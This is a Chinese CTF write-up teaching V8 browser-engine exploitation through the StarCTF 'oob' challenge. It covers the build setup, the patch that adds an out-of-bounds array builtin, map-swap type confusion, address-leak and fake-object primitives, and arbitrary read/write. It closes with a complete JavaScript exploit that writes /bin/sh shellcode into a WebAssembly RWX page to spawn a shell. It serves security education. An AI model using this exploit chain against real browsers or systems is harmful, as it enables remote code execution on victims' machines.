通过StarCTF oob题目学习V8 PWN 入门

这篇文章笔者将带领大家一起入门学习V8,pwn方向中,v8也是一个比较有趣的方向!

chrome 里面的 JavaScript 解释器称为v8,我们做的pwn题主要面向的也是这个。这里搭建环境的步骤如下:

环境搭建

#depot_tools
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH="$PATH":`pwd`/depot_tools

#ninja
git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
export PATH="$PATH":`pwd`/ninja

编译v8

fetch  v8
#这个步骤需要开启代理
cd v8&& gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
#out.gn文件夹是最后输出的文件位置
当我们拿到题目,我们需要做的是:
退回题目给的版本之后,再把补丁加在到v8码源中。
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply < oob.diff
# 编译debug版本
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
# 编译release版本
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8

调试方法

gdb配置。
V8自带gdb调试命令,在/tools/目录下,可以找到gdbinit和gdb-v8-support.py。我将gdb-v8-support.py复制到了根目录下,然后修改自己的.gdbinit文件,将提供的gdbinit都复制过来。就可以在gdb中使用v8自带调试命令了。具体命令可以在gdbinit中自己查阅,注释还是很友好的。
我的gdbinit文件:
#source /home/lyyy/Desktop/pwndbg/gdbinit.py
source /home/lyyy/Desktop/tools/pwndbg/gdbinit.py
source /home/lyyy/Desktop/v8/tools/gdb-v8-support.py
source /home/lyyy/Desktop/tools/Pwngdb/angelheap/gdbinit.py
source /home/lyyy/Desktop/tools/Pwngdb/pwngdb.py
#source  /home/lyyy/Desktop/tools/peda-heap/peda.py
set context-output /dev/pts/2
define hook-run
python
import angelheap
angelheap.init_angelheap()
end
end

#v8   gdb define
# Print tagged object.
define job
call (void) _v8_internal_Print_Object((void*)($arg0))
end
document job
Print a v8 JavaScript object
Usage: job tagged_ptr
end

# Print content of v8::internal::Handle.
define jh
call (void) _v8_internal_Print_Object(*((v8::internal::Object**)($arg0).location_))
end
document jh
Print content of a v8::internal::Handle
Usage: jh internal_handle
end

# Print content of v8::Local handle.
define jlh
call (void) _v8_internal_Print_Object(*((v8::internal::Object**)($arg0).val_))
end
document jlh
Print content of a v8::Local handle
Usage: jlh local_handle
end

# Print Code objects containing given PC.
define jco
call (void) _v8_internal_Print_Code((void*)($arg0))
end
document jco
Print a v8 Code object from an internal code address
Usage: jco pc
end

# Print LayoutDescriptor.
define jld
call (void) _v8_internal_Print_LayoutDescriptor((void*)($arg0))
end
document jld
Print a v8 LayoutDescriptor object
Usage: jld tagged_ptr
end

# Print TransitionTree.
define jtt
call (void) _v8_internal_Print_TransitionTree((void*)($arg0))
end
document jtt
Print the complete transition tree of the given v8 Map.
Usage: jtt tagged_ptr
end

# Print JavaScript stack trace.
define jst
call (void) _v8_internal_Print_StackTrace()
end
document jst
Print the current JavaScript stack trace
Usage: jst
end

# Skip the JavaScript stack.
define jss
set $js_entry_sp=v8::internal::Isolate::Current()->thread_local_top()->js_entry_sp_
set $rbp=*(void**)$js_entry_sp
set $rsp=$js_entry_sp + 2*sizeof(void*)
set $pc=*(void**)($js_entry_sp+sizeof(void*))
end
document jss
Skip the jitted stack on x64 to where we entered JS last.
Usage: jss
end

# Print stack trace with assertion scopes.
define bta
python
import re
frame_re = re.compile("^#(d+)s*(?:0x[a-fd]+ in )?(.+) (.+ at (.+)")
assert_re = re.compile("^s*(S+) = .+<v8::internal::Perw+AssertScope<v8::internal::(S*), (false|true)>")
btl = gdb.execute("backtrace full", to_string = True).splitlines()
for l in btl:
  match = frame_re.match(l)
  if match:
    print("[%-2s] %-60s %-40s" % (match.group(1), match.group(2), match.group(3)))
  match = assert_re.match(l)
  if match:
    if match.group(3) == "false":
      prefix = "Disallow"
      color = "33[91m"
    else:
      prefix = "Allow"
      color = "33[92m"
    print("%s -> %s %s (%s)33[0m" % (color, prefix, match.group(2), match.group(1)))
end
end
document bta
Print stack trace with assertion scopes
Usage: bta
end

# Search for a pointer inside all valid pages.
define space_find
  set $space = $arg0
  set $current_page = $space->first_page()
  while ($current_page != 0)
    printf "#   Searching in %p - %pn"$current_page->area_start(), $current_page->area_end()-1
    find $current_page->area_start(), $current_page->area_end()-1, $arg1
    set $current_page = $current_page->next_page()
  end
end

define heap_find
  set $heap = v8::internal::Isolate::Current()->heap()
  printf "# Searching for %p in old_space  ===============================n"$arg0
  space_find $heap->old_space() ($arg0)
  printf "# Searching for %p in map_space  ===============================n"$arg0
  space_find $heap->map_space() $arg0
  printf "# Searching for %p in code_space ===============================n"$arg0
  space_find $heap->code_space() $arg0
end
document heap_find
Find the location of a given address in V8 pages.
Usage: heap_find address
end

set disassembly-flavor intel
set disable-randomization off

# Install a handler whenever the debugger stops due to a signal. It walks up the
# stack looking for V8_Dcheck and moves the frame to the one above it so it's
# immediately at the line of code that triggered the DCHECK.
python
def dcheck_stop_handler(event):
  frame = gdb.selected_frame()
  select_frame = None
  message = None
  count = 0
  # limit stack scanning since they're usually shallow and otherwise stack
  # overflows can be very slow.
  while frame is not None and count < 5:
    count += 1
    if frame.name() == 'V8_Dcheck':
      frame_message = gdb.lookup_symbol('message', frame.block())[0]
      if frame_message:
        message = frame_message.value(frame).string()
      select_frame = frame.older()
      break
    if frame.name() is not None and frame.name().startswith('V8_Fatal'):
      select_frame = frame.older()
    frame = frame.older()

  if select_frame is not None:
    select_frame.select()
    gdb.execute('frame')
    if message:
      print('DCHECK error: {}'.format(message))

gdb.events.stop.connect(dcheck_stop_handler)
end
在使用gdb调试时需要开启allow-natives-syntax选项:
//方法一
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ ./d8 --allow-natives-syntax

//方法二
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ gdb ./d8
[...]
pwndbg> set args --allow-natives-syntax test.js
可以直接在 js代码中使用%DebugPrint();以及%SystemBreak();下断点。%SystemBreak()其作用是在调试的时候会断在这条语句这里,%DebugPrint() 则是用来打印对象的相关信息,在debug版本下会输出很详细的信息。

job命令

用于可视化显示JavaScript对象的内存结构。
gdb下使用:job 对象地址。
在resele版本中会报错:
No symbol "_v8_internal_Print_Object" in current context.

V8 对象结构

V8 中的对象有如下属性:
map: 定义了如何访问对象
prototype:对象的原型(如果有)
elements:对象的地址
length:长度
properties:属性,存有map和length
分析:
对象里存储的数据是在elemnts指向的内存区域的,而且是在对象的上面。也即,在内存申请上,V8先申请了一块内存存储元素内容,然后申请了一块内存存储这个数组的对象结构,对象中的elements指向了存储元素内容的内存地址。

map属性详解

对象的map (数组是对象)是一种数据结构,其中包含以下信息:
对象的动态类型,即 String,Uint8Array,HeapNumber 等
对象的大小,以字节为单位
对象的属性及其存储位置
数组元素的类型,例如 unboxed 的双精度数或带标记的指针
对象的原型(如果有)
属性名称通常存储在Map中,而属性值则存储在对象本身中几个可能区域之一中。然后,map将提供属性值在相应区域中的确切位置。
本质上,映射定义了应如何访问对象:
对于对象数组:存储的是每个对象的地址。
对于浮点数组:以浮点数形式存储数值。
所以,如果将对象数组的map换成浮点数组 -> 就变成了浮点数组,会以 浮点数的形式存储对象的地址;如果将对 浮点组的 map 换成对象数组 -> 就变成了对象数组,打印浮点数存储的地址。

对象和对象数组

也就是说,对象数组里面,存储的是别的对象的地址。

StarCTF oob

入门题目

漏洞分析

这里题目直接给出了一个 oob.diff文件,如下所示:
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)
+ CPP(ArrayOob)

/* ArrayBuffer */
/* ES #sec-arraybuffer-constructor */
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();

// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
我们可以通过这个diff文件里面看出他添加了什么内容,这个文件实际就是增加了一个oob函数,主要分为三部分:定义、实现和关联。

定义

为数组添加名为oob的内置函数(用于调用),内部调用的函数名是kArrayOob(实现oob的函数)。
+    SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);

obb函数分析

参数处理:

uint32_t len = args.length();
if(len > 2return ReadOnlyRoots(isolate).undefined_value();
  • args.length() 获取传递给该内置函数的参数数量。
  • 如果参数数量超过2,则返回未定义值,这可能是为了限制该函数仅处理特定数量的参数。

将接收器对象转换为JSReceiver:

Handle<JSReceiver> receiver;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
        isolate, receiver, Object::ToObject(isolate, args.receiver()));

  • Object::ToObject(isolate, args.receiver()) 将传入的接收器对象转换为一个JSReceiver对象,并将其赋值给 receiver 句柄。
  • ASSIGN_RETURN_FAILURE_ON_EXCEPTION 是一个宏,用于检查转换过程中是否发生异常,如果有异常则返回失败状态。

处理数组对象:

Handle<JSArray> array = Handle<JSArray>::cast(receiver);
FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
uint32_t length = static_cast<uint32_t>(array->length()->Number());

  • Handle<JSArray>::cast(receiver) 将接收器对象 receiver 转换为 JSArray 类型的句柄。
  • array->elements() 获取数组的元素。
  • FixedDoubleArray::cast(...) 将数组的元素转换为 FixedDoubleArray 类型,这可能意味着该函数特别处理双精度浮点数数组。
  • array->length()->Number() 获取数组的长度并转换为 uint32_t 类型。

处理读取操作(当 len == 1 时):

cpp复制代码if(len == 1){
    //read
    return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
}

  • 当参数数量为1时,执行读取操作。
  • elements.get_scalar(length) 获取数组中索引为 length 的元素的值,并使用 NewNumber 将其包装为一个新的数字对象。

处理写入操作(当 len == 2 时):

cpp复制代码else {
    //write
    Handle<Object> value;
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
            isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
    elements.set(length,value->Number());
    return ReadOnlyRoots(isolate).undefined_value();
}

  • 当参数数量为2时,执行写入操作。
  • Object::ToNumber(isolate, args.at<Object>(1)) 将第二个参数(索引为1)转换为数字类型。
  • elements.set(length, value->Number()) 将转换后的数字值写入数组中索引为 length 的位置。
  • 最后返回未定义值,表示写入操作完成。
那么这里就存在一个明显的数组越界,我们数组的下标应该是[0, length-1]。而这里我们能够修改arr[length]的值,那么就可以越界修改相邻的一个地址的值。也就是我们平时off by one。
其实这个函数按照c语言的翻译来讲就是:
len==1 return(arr[length])
len==2 return(arr[length]=data)
这个就是越界写了。

漏洞利用

基础工具api编写

var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
    bigUint64[0] = i;
    return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
    return i.toString(16).padStart(16, "0");
}
写个poc调试一下,这个题目主要还是用来熟悉调试过程,首先呢,我们创建数组然后调试查看一下内存。

浮点数组的内存

var a = [1.12.23.34];
%DebugPrint(a);
%SystemBreak();
var b = [123];
%DebugPrint(b);
%SystemBreak();
var c = [a, b]
%DebugPrint(c);
%SystemBreak();

接下来我们来调试观察一下内存中的布局:

通过StarCTF oob题目学习V8 PWN 入门

通过StarCTF oob题目学习V8 PWN 入门

我们再来看看elements的存储:

通过StarCTF oob题目学习V8 PWN 入门

通过StarCTF oob题目学习V8 PWN 入门

这个位置便是我们越界写的地方,这个位置是map的位置,紧挨着elements,我们可以跟进一下看看这个地方的结构。

可以看到整个数组的JSArraymap类型是 紧邻在 element类型的下面的,也即上面的0x1c27e95c2ed9。
那么结合漏洞点我们可以知道,我们就是通过这个越界写去修改map的地址。
map的一个作用就是标识当前变量的 类型,那么这里我们就可以利用修改map来修改一些 变量的数据类型,达到类型混淆的作用。
我们去看看这个map所指向的地址与内存情况。

对象数组的内存布局

那我们再看看对象数组的内存情况:
var a = [1.12,2];
%DebugPrint(a);
%SystemBreak();
var b = [12];
var c = [a, b];
console.log(c[0]);
%DebugPrint(c);
%SystemBreak();

通过StarCTF oob题目学习V8 PWN 入门


在内存布局中其实是一致的,只是存储的是对象的地址:
+---> elements +---> +---------------+
|                    |               |
|                    +---------------+
|                    |               |
|                    +---------------+   fakeObject  +--------------+
|                    |fake_array[0]  |  +----------> |   map        |
|                    +---------------+               +--------------+         想要 读 或 改 的
|                    |fake_array[1]  |               |   prototype  |         内 存
|                    +---------------+               +--------------+          +-------------+
|                    |fake_array[2]  |               |   elements   | +------> |             |
|                    +---------------+               +--------------+          |             |
|                    |               |               |              |          |             |
|                    |               |               |              |          |             |
|    fake_array+-->  +---------------+               |              |          |             |
|                    |   map         |               |              |          |             |
|                    +---------------+               |              |          |             |
|                    |   prototype   |               +--------------+          |             |
|                    +---------------+                                         |             |
+--------------------+   elements    |                                         |             |
                     +---------------+                                         |             |
                     |   length      |                                         |             |
                     +---------------+                                         |             |
                     |   properties  |                                         |             |
                     +---------------+                                         +-------------+
我们可以模拟我们的效果,c对象的map地址改成a的map,再进行输出,看看效果:

通过StarCTF oob题目学习V8 PWN 入门

通过StarCTF oob题目学习V8 PWN 入门


我们需要将0x3414a684dee8 修改成为0x6aab1b02ed9:
set {unsigned long long}  0x3414a684dee8 =0x6aab1b02ed9

通过StarCTF oob题目学习V8 PWN 入门

可以看到解析错误,那我们就可以利用这一点来漏洞利用,笔者也是第一次接触v8架构的。
我们使用oob来触发这个漏洞。
var fake_array = [
    float_array_map,//fake to be a float arr object
    i2f(0n),
    i2f(0x41414141n),//fake obj's elements ptr
    i2f(0x1000000000n),
    1.1,
    2.2
];

通过StarCTF oob题目学习V8 PWN 入门


泄露地址函数

之前的调试可以发现,如果是对象类型的数组,element存储的是对象地址,而如果是float类型的数组,element存储的便是浮点数,如果我们将对象类型的数组map值改成float的map值,那么就可以把对象数组当做float数组输出,原本存储在element中的地址就会被当做float输出,就可以做到泄露地址的效果。
function leak(object)
{
    obj_arr[0] = obj;
    obj_arr.oob(float_array_map);//修改map值为float数组的map值
    let obj_addr =  f2i(obj_arr[0]-1n);  //read obj[0] is obj_addr
    obj_arr.oob(obj_array_map); //恢复object的map值
    return obj_addr;
}

伪造对象辅助函数

泄露地址是将对象的map改变为浮点数的map,那么伪造对象辅助函数便是将float的map改变为对象的map,我们输入地址,通过对象的特性,就可以伪造为一个对象,最后再将map值恢复。
function fakeObject(addr_to_fake)
{
    float_arr[0] = i2f(addr_to_fake+1n);    
    float_arr.oob(obj_array_map);   //修改map值
    let fake_obj = float_arr[0];    //get fake_obj
    float_arr.oob(float_array_map); //恢复map值
    return fake_obj;
}

任意地址读写

按照上述分析,我们可以将一个地址伪造为对象,element如果可控的话,对象数组的element便是可控的指针,我们可以在element上布置我们想要改写的地址,通过数组便可以进行改写操作,从而实现任意地址写。
对象结构:
map
prototype
elements
length
properties
其实和泄露地址是一个道理了,类型混淆中去进行泄露,想要泄露某个地址,无疑就是将一个地址加入到一个类的element元素之中,利用类索引去将这个地址打印出来。
任意地址读功能编写
首先呢,我们伪造一个类,其实就是类似于我们pwn中io的IOFILE结构体:
var fake_array = [
    float_array_map,//fake to be a float arr object
    i2f(0n),
    i2f(0x41414141n),//fake obj's elements ptr
    i2f(0x1000000000n),
    1.1,
    2.2
];
这个fake_array是一个float的类,我们要让他被识别为一个float的对象,fake_arrry_map我们要放一个对象的map,那么我们存放在element里面的值就可以作为地址被解析。
那么我们要获取他的地址,我们之前写了一个功能是解析类的地址的,但是我们获取到的是map的地址,我们要让他指向element,根据偏移,fake_array一共六个元素,一个元素一个字节,那么就是0x8*6=0x30,减去0x30就指向我们伪造的element的位置。
即:
var fake_arr_addr = leak(fake_array);
var fake_object_addr = fake_arr_addr - 0x30n
我们在将这个伪造的结构插入到对象中。
var fake_object = fakeObject(fake_object_addr);
接下来呢,fake_object就是一个对象了,他的element第一个位置放的就是我们的fake_array,解析第一个对象就会解析fake_array,此时,fake_array的map是一个对象,那么就会把element当成一个地址去解析里面的内容,element是我们可控的,从而实现任意地址读,我们只需要修改fake_array的第三个元素即可。
任意地址读的函数如下:
function read64(addr)
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);//其实就是跟heap的chunk的道理一样,我们需要data区域的内容,但是申请的时候需要分配prev_size和size位,这里也是一样道理的,要去掉一个map和prototype的位置,需要提前减掉0x10
    let leak_data = f2i(fake_object[0]);//解析第一个元素
    console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
    return leak_data;
}
任意地址写功能编写
其实跟写是一个道理的,我们只需要修改fake_object[0],一路解析就会解析到我们fake_array上我们布置的内存块了。
function write64(addr,data)
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);
    fake_object[0] = i2f(data);
    console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

命令执行

我们的目标是让程序执行shellcode。那我们首先得找到一个rwxp的内存区域来存放我们的shellcode。
wasw模版推导
wasw会在程序中开辟一段可读可写可执行的空间,我们可以将这块内存上的内容篡改成我们的shellcode。
我们用gdb调试尝试去找一下存放WASM代码的地址:
%SystemBreak();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();
通过调试我们可以发现:

通过StarCTF oob题目学习V8 PWN 入门

f的wasm instance和我们泄露的wasmInstance是一样的。
我们看一下shared_info的内容:

通过StarCTF oob题目学习V8 PWN 入门

再看一下data域:

通过StarCTF oob题目学习V8 PWN 入门


可以发现f中shared_info中data中的instance就是wasmInstance,我们来查看一下内存。

vmmap查看一下地址执行权限:

通过StarCTF oob题目学习V8 PWN 入门

有一个可读可写可执行的段
再查看一下instance中的信息

通过StarCTF oob题目学习V8 PWN 入门

可以看到instance上有可读可写可执行段的地址,可以找到instance地址和可读可写可执行段的偏移。之后我们可以通过read找到instance地址通过偏移找到可读可写可执行段。再通过write函数将shellcode写入,wasm便可执行shellcode。

那么我们的思路便是,通过任意地址读将这个可读可写可执行段地址泄露到,然后利用我们的任意地址写功能,将shellcode写入到这个地址中去。

其实也是跟pwn的思路相同了,将我们的shellcode写入到这个可读可写可执行的段中!

exp:

var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
    bigUint64[0] = i;
    return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
    return i.toString(16).padStart(16"0");
}
// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a"1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();//oob函数出来的就是map
var float_array_map = float_array.oob();

// 泄露某个object的地址
function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    obj_array.oob(float_array_map);
    let obj_addr = f2i(obj_array[0]) - 1n;//泄漏出来的地址-1才是真实地址
    obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
    return obj_addr;
}
function fakeObject(addr_to_fake)
{
    float_array[0] = i2f(addr_to_fake + 1n);//地址需要+1才是v8中的正确表达方式
    float_array.oob(obj_array_map);
    let faked_obj = float_array[0];
    float_array.oob(float_array_map); // 还原array类型以便后续继续使用
    return faked_obj;
}
// ××××××××3.read & write anywhere××××××××
// 这是一块我们可以控制的内存
var fake_array = [                //伪造一个对象
    float_array_map,
    i2f(0n),
    i2f(0x41414141n),            // fake obj's elements ptr
    i2f(0x1000000000n),
    1.1,
    2.2,
];

// 获取到这块内存的地址
var fake_array_addr = addressOf(fake_array);
// 将可控内存转换为对象
var fake_object_addr = fake_array_addr - 0x30n;
var fake_object = fakeObject(fake_object_addr);
// 任意地址读
function read64(addr)
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);
    let leak_data = f2i(fake_object[0]);
    return leak_data;
}
// 任意地址写
function write64(addr, data)
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);
    fake_object[0] = i2f(data);    
}
//data_view任意写
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function writeDataview(addr,data){
    write64(buf_backing_store_addr, addr);
    data_view.setBigUint64(0, data, true);
    console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm_func_addr: 0x" + hex(f_addr));

var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));

shellcode = [
    0x91969dd1bb48c031n,
    0x53dbf748ff978cd0n,
    0xb05e545752995f54n,
    0x50f3bn
];

var data_buf = new ArrayBuffer(32);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr);
for (var i = 0; i < shellcode.length; i++)
    data_view.setBigUint64(8*i, shellcode[i], true);

// trigger shellcode
f();

通过StarCTF oob题目学习V8 PWN 入门

可以看到成功getshell了!

原文始发于微信公众号(山石网科安全技术研究院):通过StarCTF oob题目学习V8 PWN 入门

版权声明:admin 发表于 2024年7月24日 下午4:34。
转载请注明:通过StarCTF oob题目学习V8 PWN 入门 | CTF导航

相关文章